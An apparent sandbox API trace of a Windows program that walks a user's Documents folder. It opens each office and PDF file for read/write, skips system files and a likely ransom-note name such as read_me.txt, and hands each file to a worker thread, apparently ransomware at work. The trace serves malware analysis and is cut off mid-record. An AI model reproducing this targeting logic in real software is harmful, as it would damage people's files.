1 [0078.647] wnsprintfW (in: pszDest=0x42120c0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\0c5Q-gE5.xlsx") returned 57 [0078.647] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\0c5Q-gE5.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\0c5q-ge5.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x848 [0078.647] StrStrW (lpFirst="0c5q-ge5.xlsx", lpSrch="read_me.txt") returned 0x0 [0078.647] StrStrW (lpFirst="0c5q-ge5.xlsx", lpSrch="autoexec.bat") returned 0x0 [0078.647] StrStrW (lpFirst="0c5q-ge5.xlsx", lpSrch="desktop.ini") returned 0x0 [0078.647] StrStrW (lpFirst="0c5q-ge5.xlsx", lpSrch="autorun.inf") returned 0x0 [0078.647] StrStrW (lpFirst="0c5q-ge5.xlsx", lpSrch="ntuser.dat") returned 0x0 [0078.647] StrStrW (lpFirst="0c5q-ge5.xlsx", lpSrch="iconcache.db") returned 0x0 [0078.647] StrStrW (lpFirst="0c5q-ge5.xlsx", lpSrch="bootsect.bak") returned 0x0 [0078.648] StrStrW (lpFirst="0c5q-ge5.xlsx", lpSrch="boot.ini") returned 0x0 [0078.648] StrStrW (lpFirst="0c5q-ge5.xlsx", lpSrch="ntuser.dat.log") returned 0x0 [0078.648] StrStrW (lpFirst="0c5q-ge5.xlsx", lpSrch="thumbs.db") returned 0x0 [0078.648] InterlockedExchangeAdd (in: Addend=0x40f064, Value=1 | out: Addend=0x40f064) returned 52 [0078.648] QueueUserWorkItem (Function=0x404e00, Context=0x848, Flags=0x0) returned 1 [0078.648] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52a07500, ftCreationTime.dwHighDateTime=0x1d4caf6, ftLastAccessTime.dwLowDateTime=0xe55e8630, ftLastAccessTime.dwHighDateTime=0x1d4ce5b, ftLastWriteTime.dwLowDateTime=0xe55e8630, ftLastWriteTime.dwHighDateTime=0x1d4ce5b, nFileSizeHigh=0x0, nFileSizeLow=0xdbc0, dwReserved0=0x540000, dwReserved1=0x0, cFileName="0O31bZuDCP_.pps", cAlternateFileName="0O31BZ~1.PPS")) returned 1 [0078.648] wnsprintfW (in: pszDest=0x42120c0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\0O31bZuDCP_.pps") returned 59 [0078.648] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\0O31bZuDCP_.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\0o31bzudcp_.pps"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x84c [0078.648] StrStrW (lpFirst="0o31bzudcp_.pps", lpSrch="read_me.txt") returned 0x0 [0078.648] StrStrW (lpFirst="0o31bzudcp_.pps", lpSrch="autoexec.bat") returned 0x0 [0078.648] StrStrW (lpFirst="0o31bzudcp_.pps", lpSrch="desktop.ini") returned 0x0 [0078.648] StrStrW (lpFirst="0o31bzudcp_.pps", lpSrch="autorun.inf") returned 0x0 [0078.648] StrStrW (lpFirst="0o31bzudcp_.pps", lpSrch="ntuser.dat") returned 0x0 [0078.648] StrStrW (lpFirst="0o31bzudcp_.pps", lpSrch="iconcache.db") returned 0x0 [0078.648] StrStrW (lpFirst="0o31bzudcp_.pps", lpSrch="bootsect.bak") returned 0x0 [0078.648] StrStrW (lpFirst="0o31bzudcp_.pps", lpSrch="boot.ini") returned 0x0 [0078.648] StrStrW (lpFirst="0o31bzudcp_.pps", lpSrch="ntuser.dat.log") returned 0x0 [0078.648] StrStrW (lpFirst="0o31bzudcp_.pps", lpSrch="thumbs.db") returned 0x0 [0078.648] InterlockedExchangeAdd (in: Addend=0x40f064, Value=1 | out: Addend=0x40f064) returned 53 [0078.648] QueueUserWorkItem (Function=0x404e00, Context=0x84c, Flags=0x0) returned 1 [0078.649] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f68a350, ftCreationTime.dwHighDateTime=0x1d5459c, ftLastAccessTime.dwLowDateTime=0xe1c6f230, ftLastAccessTime.dwHighDateTime=0x1d557b0, ftLastWriteTime.dwLowDateTime=0xe1c6f230, ftLastWriteTime.dwHighDateTime=0x1d557b0, nFileSizeHigh=0x0, nFileSizeLow=0x13d87, dwReserved0=0x540000, dwReserved1=0x0, cFileName="2DjSQZdm.xlsx", cAlternateFileName="2DJSQZ~1.XLS")) returned 1 [0078.649] wnsprintfW (in: pszDest=0x42120c0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2DjSQZdm.xlsx") returned 57 [0078.649] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2DjSQZdm.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\2djsqzdm.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x850 [0078.649] StrStrW (lpFirst="2djsqzdm.xlsx", lpSrch="read_me.txt") returned 0x0 [0078.649] StrStrW (lpFirst="2djsqzdm.xlsx", lpSrch="autoexec.bat") returned 0x0 [0078.649] StrStrW (lpFirst="2djsqzdm.xlsx", lpSrch="desktop.ini") returned 0x0 [0078.649] StrStrW (lpFirst="2djsqzdm.xlsx", lpSrch="autorun.inf") returned 0x0 [0078.649] StrStrW (lpFirst="2djsqzdm.xlsx", lpSrch="ntuser.dat") returned 0x0 [0078.649] StrStrW (lpFirst="2djsqzdm.xlsx", lpSrch="iconcache.db") returned 0x0 [0078.649] StrStrW (lpFirst="2djsqzdm.xlsx", lpSrch="bootsect.bak") returned 0x0 [0078.649] StrStrW (lpFirst="2djsqzdm.xlsx", lpSrch="boot.ini") returned 0x0 [0078.649] StrStrW (lpFirst="2djsqzdm.xlsx", lpSrch="ntuser.dat.log") returned 0x0 [0078.649] StrStrW (lpFirst="2djsqzdm.xlsx", lpSrch="thumbs.db") returned 0x0 [0078.649] InterlockedExchangeAdd (in: Addend=0x40f064, Value=1 | out: Addend=0x40f064) returned 54 [0078.649] QueueUserWorkItem (Function=0x404e00, Context=0x850, Flags=0x0) returned 1 [0078.649] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7a6dbcc0, ftCreationTime.dwHighDateTime=0x1d4c991, ftLastAccessTime.dwLowDateTime=0x1aa680b0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1aa680b0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x540000, dwReserved1=0x0, cFileName="3kVF", cAlternateFileName="")) returned 1 [0078.649] wnsprintfW (in: pszDest=0x42120c0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3kVF") returned 48 [0078.649] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x488f4de0, ftCreationTime.dwHighDateTime=0x1d55b9a, ftLastAccessTime.dwLowDateTime=0xcb80070, ftLastAccessTime.dwHighDateTime=0x1d58244, ftLastWriteTime.dwLowDateTime=0xcb80070, ftLastWriteTime.dwHighDateTime=0x1d58244, nFileSizeHigh=0x0, nFileSizeLow=0x3565, dwReserved0=0x540000, dwReserved1=0x0, cFileName="4NWE2d4at f.docx", cAlternateFileName="4NWE2D~1.DOC")) returned 1 [0078.649] wnsprintfW (in: pszDest=0x42120c0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\4NWE2d4at f.docx") returned 60 [0078.649] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\4NWE2d4at f.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\4nwe2d4at f.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x854 [0078.650] StrStrW (lpFirst="4nwe2d4at f.docx", lpSrch="read_me.txt") returned 0x0 [0078.650] StrStrW (lpFirst="4nwe2d4at f.docx", lpSrch="autoexec.bat") returned 0x0 [0078.650] StrStrW (lpFirst="4nwe2d4at f.docx", lpSrch="desktop.ini") returned 0x0 [0078.650] StrStrW (lpFirst="4nwe2d4at f.docx", lpSrch="autorun.inf") returned 0x0 [0078.650] StrStrW (lpFirst="4nwe2d4at f.docx", lpSrch="ntuser.dat") returned 0x0 [0078.650] StrStrW (lpFirst="4nwe2d4at f.docx", lpSrch="iconcache.db") returned 0x0 [0078.650] StrStrW (lpFirst="4nwe2d4at f.docx", lpSrch="bootsect.bak") returned 0x0 [0078.650] StrStrW (lpFirst="4nwe2d4at f.docx", lpSrch="boot.ini") returned 0x0 [0078.650] StrStrW (lpFirst="4nwe2d4at f.docx", lpSrch="ntuser.dat.log") returned 0x0 [0078.650] StrStrW (lpFirst="4nwe2d4at f.docx", lpSrch="thumbs.db") returned 0x0 [0078.650] InterlockedExchangeAdd (in: Addend=0x40f064, Value=1 | out: Addend=0x40f064) returned 55 [0078.650] QueueUserWorkItem (Function=0x404e00, Context=0x854, Flags=0x0) returned 1 [0078.650] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39f247a0, ftCreationTime.dwHighDateTime=0x1d56005, ftLastAccessTime.dwLowDateTime=0x9ab96440, ftLastAccessTime.dwHighDateTime=0x1d58014, ftLastWriteTime.dwLowDateTime=0x9ab96440, ftLastWriteTime.dwHighDateTime=0x1d58014, nFileSizeHigh=0x0, nFileSizeLow=0x8ce9, dwReserved0=0x540000, dwReserved1=0x0, cFileName="7eoGIv.pptx", cAlternateFileName="7EOGIV~1.PPT")) returned 1 [0078.650] wnsprintfW (in: pszDest=0x42120c0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\7eoGIv.pptx") returned 55 [0078.650] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\7eoGIv.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\7eogiv.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x858 [0078.650] StrStrW (lpFirst="7eogiv.pptx", lpSrch="read_me.txt") returned 0x0 [0078.650] StrStrW (lpFirst="7eogiv.pptx", lpSrch="autoexec.bat") returned 0x0 [0078.650] StrStrW (lpFirst="7eogiv.pptx", lpSrch="desktop.ini") returned 0x0 [0078.651] StrStrW (lpFirst="7eogiv.pptx", lpSrch="autorun.inf") returned 0x0 [0078.651] StrStrW (lpFirst="7eogiv.pptx", lpSrch="ntuser.dat") returned 0x0 [0078.651] StrStrW (lpFirst="7eogiv.pptx", lpSrch="iconcache.db") returned 0x0 [0078.651] StrStrW (lpFirst="7eogiv.pptx", lpSrch="bootsect.bak") returned 0x0 [0078.651] StrStrW (lpFirst="7eogiv.pptx", lpSrch="boot.ini") returned 0x0 [0078.651] StrStrW (lpFirst="7eogiv.pptx", lpSrch="ntuser.dat.log") returned 0x0 [0078.651] StrStrW (lpFirst="7eogiv.pptx", lpSrch="thumbs.db") returned 0x0 [0078.651] InterlockedExchangeAdd (in: Addend=0x40f064, Value=1 | out: Addend=0x40f064) returned 56 [0078.651] QueueUserWorkItem (Function=0x404e00, Context=0x858, Flags=0x0) returned 1 [0078.651] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac1cb210, ftCreationTime.dwHighDateTime=0x1d4cbc3, ftLastAccessTime.dwLowDateTime=0x36b5e20, ftLastAccessTime.dwHighDateTime=0x1d4ccfc, ftLastWriteTime.dwLowDateTime=0x36b5e20, ftLastWriteTime.dwHighDateTime=0x1d4ccfc, nFileSizeHigh=0x0, nFileSizeLow=0x16d16, dwReserved0=0x540000, dwReserved1=0x0, cFileName="7iRzhs.pptx", cAlternateFileName="7IRZHS~1.PPT")) returned 1 [0078.651] wnsprintfW (in: pszDest=0x42120c0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\7iRzhs.pptx") returned 55 [0078.651] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\7iRzhs.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\7irzhs.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x85c [0078.651] StrStrW (lpFirst="7irzhs.pptx", lpSrch="read_me.txt") returned 0x0 [0078.651] StrStrW (lpFirst="7irzhs.pptx", lpSrch="autoexec.bat") returned 0x0 [0078.651] StrStrW (lpFirst="7irzhs.pptx", lpSrch="desktop.ini") returned 0x0 [0078.651] StrStrW (lpFirst="7irzhs.pptx", lpSrch="autorun.inf") returned 0x0 [0078.651] StrStrW (lpFirst="7irzhs.pptx", lpSrch="ntuser.dat") returned 0x0 [0078.651] StrStrW (lpFirst="7irzhs.pptx", lpSrch="iconcache.db") returned 0x0 [0078.652] StrStrW (lpFirst="7irzhs.pptx", lpSrch="bootsect.bak") returned 0x0 [0078.652] StrStrW (lpFirst="7irzhs.pptx", lpSrch="boot.ini") returned 0x0 [0078.652] StrStrW (lpFirst="7irzhs.pptx", lpSrch="ntuser.dat.log") returned 0x0 [0078.652] StrStrW (lpFirst="7irzhs.pptx", lpSrch="thumbs.db") returned 0x0 [0078.652] InterlockedExchangeAdd (in: Addend=0x40f064, Value=1 | out: Addend=0x40f064) returned 57 [0078.652] QueueUserWorkItem (Function=0x404e00, Context=0x85c, Flags=0x0) returned 1 [0078.652] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3cf1b30, ftCreationTime.dwHighDateTime=0x1d57349, ftLastAccessTime.dwLowDateTime=0xad60600, ftLastAccessTime.dwHighDateTime=0x1d52c4d, ftLastWriteTime.dwLowDateTime=0xad60600, ftLastWriteTime.dwHighDateTime=0x1d52c4d, nFileSizeHigh=0x0, nFileSizeLow=0x12a5, dwReserved0=0x540000, dwReserved1=0x0, cFileName="8LsYlgIf_vpXoKZA.docx", cAlternateFileName="8LSYLG~1.DOC")) returned 1 [0078.652] wnsprintfW (in: pszDest=0x42120c0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8LsYlgIf_vpXoKZA.docx") returned 65 [0078.652] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8LsYlgIf_vpXoKZA.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\8lsylgif_vpxokza.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x860 [0078.652] StrStrW (lpFirst="8lsylgif_vpxokza.docx", lpSrch="read_me.txt") returned 0x0 [0078.652] StrStrW (lpFirst="8lsylgif_vpxokza.docx", lpSrch="autoexec.bat") returned 0x0 [0078.652] StrStrW (lpFirst="8lsylgif_vpxokza.docx", lpSrch="desktop.ini") returned 0x0 [0078.652] StrStrW (lpFirst="8lsylgif_vpxokza.docx", lpSrch="autorun.inf") returned 0x0 [0078.652] StrStrW (lpFirst="8lsylgif_vpxokza.docx", lpSrch="ntuser.dat") returned 0x0 [0078.652] StrStrW (lpFirst="8lsylgif_vpxokza.docx", lpSrch="iconcache.db") returned 0x0 [0078.652] StrStrW (lpFirst="8lsylgif_vpxokza.docx", lpSrch="bootsect.bak") returned 0x0 [0078.652] StrStrW (lpFirst="8lsylgif_vpxokza.docx", lpSrch="boot.ini") returned 0x0 [0078.652] StrStrW (lpFirst="8lsylgif_vpxokza.docx", lpSrch="ntuser.dat.log") returned 0x0 [0078.652] StrStrW (lpFirst="8lsylgif_vpxokza.docx", lpSrch="thumbs.db") returned 0x0 [0078.652] InterlockedExchangeAdd (in: Addend=0x40f064, Value=1 | out: Addend=0x40f064) returned 58 [0078.652] QueueUserWorkItem (Function=0x404e00, Context=0x860, Flags=0x0) returned 1 [0078.653] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9e223b0, ftCreationTime.dwHighDateTime=0x1d5676d, ftLastAccessTime.dwLowDateTime=0x993b3e70, ftLastAccessTime.dwHighDateTime=0x1d5711b, ftLastWriteTime.dwLowDateTime=0x993b3e70, ftLastWriteTime.dwHighDateTime=0x1d5711b, nFileSizeHigh=0x0, nFileSizeLow=0x15b99, dwReserved0=0x540000, dwReserved1=0x0, cFileName="95cDq7IXOD.xlsx", cAlternateFileName="95CDQ7~1.XLS")) returned 1 [0078.653] wnsprintfW (in: pszDest=0x42120c0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\95cDq7IXOD.xlsx") returned 59 [0078.653] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\95cDq7IXOD.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\95cdq7ixod.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x864 [0078.653] StrStrW (lpFirst="95cdq7ixod.xlsx", lpSrch="read_me.txt") returned 0x0 [0078.653] StrStrW (lpFirst="95cdq7ixod.xlsx", lpSrch="autoexec.bat") returned 0x0 [0078.653] StrStrW (lpFirst="95cdq7ixod.xlsx", lpSrch="desktop.ini") returned 0x0 [0078.653] StrStrW (lpFirst="95cdq7ixod.xlsx", lpSrch="autorun.inf") returned 0x0 [0078.653] StrStrW (lpFirst="95cdq7ixod.xlsx", lpSrch="ntuser.dat") returned 0x0 [0078.653] StrStrW (lpFirst="95cdq7ixod.xlsx", lpSrch="iconcache.db") returned 0x0 [0078.653] StrStrW (lpFirst="95cdq7ixod.xlsx", lpSrch="bootsect.bak") returned 0x0 [0078.653] StrStrW (lpFirst="95cdq7ixod.xlsx", lpSrch="boot.ini") returned 0x0 [0078.653] StrStrW (lpFirst="95cdq7ixod.xlsx", lpSrch="ntuser.dat.log") returned 0x0 [0078.653] StrStrW (lpFirst="95cdq7ixod.xlsx", lpSrch="thumbs.db") returned 0x0 [0078.653] InterlockedExchangeAdd (in: Addend=0x40f064, Value=1 | out: Addend=0x40f064) returned 59 [0078.653] QueueUserWorkItem (Function=0x404e00, Context=0x864, Flags=0x0) returned 1 [0078.653] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c354140, ftCreationTime.dwHighDateTime=0x1d53325, ftLastAccessTime.dwLowDateTime=0x7ee26e70, ftLastAccessTime.dwHighDateTime=0x1d543c3, ftLastWriteTime.dwLowDateTime=0x7ee26e70, ftLastWriteTime.dwHighDateTime=0x1d543c3, nFileSizeHigh=0x0, nFileSizeLow=0x12dcd, dwReserved0=0x540000, dwReserved1=0x0, cFileName="Ae_uFho8j0i.docx", cAlternateFileName="AE_UFH~1.DOC")) returned 1 [0078.653] wnsprintfW (in: pszDest=0x42120c0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ae_uFho8j0i.docx") returned 60 [0078.653] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ae_uFho8j0i.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ae_ufho8j0i.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x868 [0078.654] StrStrW (lpFirst="ae_ufho8j0i.docx", lpSrch="read_me.txt") returned 0x0 [0078.654] StrStrW (lpFirst="ae_ufho8j0i.docx", lpSrch="autoexec.bat") returned 0x0 [0078.654] StrStrW (lpFirst="ae_ufho8j0i.docx", lpSrch="desktop.ini") returned 0x0 [0078.654] StrStrW (lpFirst="ae_ufho8j0i.docx", lpSrch="autorun.inf") returned 0x0 [0078.654] StrStrW (lpFirst="ae_ufho8j0i.docx", lpSrch="ntuser.dat") returned 0x0 [0078.654] StrStrW (lpFirst="ae_ufho8j0i.docx", lpSrch="iconcache.db") returned 0x0 [0078.654] StrStrW (lpFirst="ae_ufho8j0i.docx", lpSrch="bootsect.bak") returned 0x0 [0078.654] StrStrW (lpFirst="ae_ufho8j0i.docx", lpSrch="boot.ini") returned 0x0 [0078.654] StrStrW (lpFirst="ae_ufho8j0i.docx", lpSrch="ntuser.dat.log") returned 0x0 [0078.654] StrStrW (lpFirst="ae_ufho8j0i.docx", lpSrch="thumbs.db") returned 0x0 [0078.654] InterlockedExchangeAdd (in: Addend=0x40f064, Value=1 | out: Addend=0x40f064) returned 60 [0078.654] QueueUserWorkItem (Function=0x404e00, Context=0x868, Flags=0x0) returned 1 [0078.654] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb869abb0, ftCreationTime.dwHighDateTime=0x1d4cdd8, ftLastAccessTime.dwLowDateTime=0xf0059010, ftLastAccessTime.dwHighDateTime=0x1d4d275, ftLastWriteTime.dwLowDateTime=0xf0059010, ftLastWriteTime.dwHighDateTime=0x1d4d275, nFileSizeHigh=0x0, nFileSizeLow=0x159b0, dwReserved0=0x540000, dwReserved1=0x0, cFileName="AXHnlkM.pdf", cAlternateFileName="")) returned 1 [0078.654] wnsprintfW (in: pszDest=0x42120c0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\AXHnlkM.pdf") returned 55 [0078.654] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\AXHnlkM.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\axhnlkm.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x86c [0078.654] StrStrW (lpFirst="axhnlkm.pdf", lpSrch="read_me.txt") returned 0x0 [0078.654] StrStrW (lpFirst="axhnlkm.pdf", lpSrch="autoexec.bat") returned 0x0 [0078.654] StrStrW (lpFirst="axhnlkm.pdf", lpSrch="desktop.ini") returned 0x0 [0078.654] StrStrW (lpFirst="axhnlkm.pdf", lpSrch="autorun.inf") returned 0x0 [0078.655] StrStrW (lpFirst="axhnlkm.pdf", lpSrch="ntuser.dat") returned 0x0 [0078.655] StrStrW (lpFirst="axhnlkm.pdf", lpSrch="iconcache.db") returned 0x0 [0078.655] StrStrW (lpFirst="axhnlkm.pdf", lpSrch="bootsect.bak") returned 0x0 [0078.655] StrStrW (lpFirst="axhnlkm.pdf", lpSrch="boot.ini") returned 0x0 [0078.655] StrStrW (lpFirst="axhnlkm.pdf", lpSrch="ntuser.dat.log") returned 0x0 [0078.655] StrStrW (lpFirst="axhnlkm.pdf", lpSrch="thumbs.db") returned 0x0 [0078.655] InterlockedExchangeAdd (in: Addend=0x40f064, Value=1 | out: Addend=0x40f064) returned 61 [0078.655] QueueUserWorkItem (Function=0x404e00, Context=0x86c, Flags=0x0) returned 1 [0078.655] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e2aa3c0, ftCreationTime.dwHighDateTime=0x1d5429d, ftLastAccessTime.dwLowDateTime=0x881bfff0, ftLastAccessTime.dwHighDateTime=0x1d583c5, ftLastWriteTime.dwLowDateTime=0x881bfff0, ftLastWriteTime.dwHighDateTime=0x1d583c5, nFileSizeHigh=0x0, nFileSizeLow=0x17839, dwReserved0=0x540000, dwReserved1=0x0, cFileName="Cd20r2-st.docx", cAlternateFileName="CD20R2~1.DOC")) returned 1 [0078.655] wnsprintfW (in: pszDest=0x42120c0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Cd20r2-st.docx") returned 58 [0078.655] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Cd20r2-st.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cd20r2-st.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x870 [0078.655] StrStrW (lpFirst="cd20r2-st.docx", lpSrch="read_me.txt") returned 0x0 [0078.655] StrStrW (lpFirst="cd20r2-st.docx", lpSrch="autoexec.bat") returned 0x0 [0078.655] StrStrW (lpFirst="cd20r2-st.docx", lpSrch="desktop.ini") returned 0x0 [0078.655] StrStrW (lpFirst="cd20r2-st.docx", lpSrch="autorun.inf") returned 0x0 [0078.655] StrStrW (lpFirst="cd20r2-st.docx", lpSrch="ntuser.dat") returned 0x0 [0078.655] StrStrW (lpFirst="cd20r2-st.docx", lpSrch="iconcache.db") returned 0x0 [0078.655] StrStrW (lpFirst="cd20r2-st.docx", lpSrch="bootsect.bak") returned 0x0 [0078.655] StrStrW (lpFirst="cd20r2-st.docx", lpSrch="boot.ini") returned 0x0 [0078.656] StrStrW (lpFirst="cd20r2-st.docx", lpSrch="ntuser.dat.log") returned 0x0 [0078.656] StrStrW (lpFirst="cd20r2-st.docx", lpSrch="thumbs.db") returned 0x0 [0078.656] InterlockedExchangeAdd (in: Addend=0x40f064, Value=1 | out: Addend=0x40f064) returned 62 [0078.656] QueueUserWorkItem (Function=0x404e00, Context=0x870, Flags=0x0) returned 1 [0078.656] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d207440, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0x540000, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0078.656] wnsprintfW (in: pszDest=0x42120c0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\desktop.ini") returned 55 [0078.656] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x874 [0078.656] StrStrW (lpFirst="desktop.ini", lpSrch="read_me.txt") returned 0x0 [0078.656] StrStrW (lpFirst="desktop.ini", lpSrch="autoexec.bat") returned 0x0 [0078.656] QueueUserWorkItem (Function=0x404e00, Context=0x874, Flags=0x0) returned 1 [0078.656] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a174090, 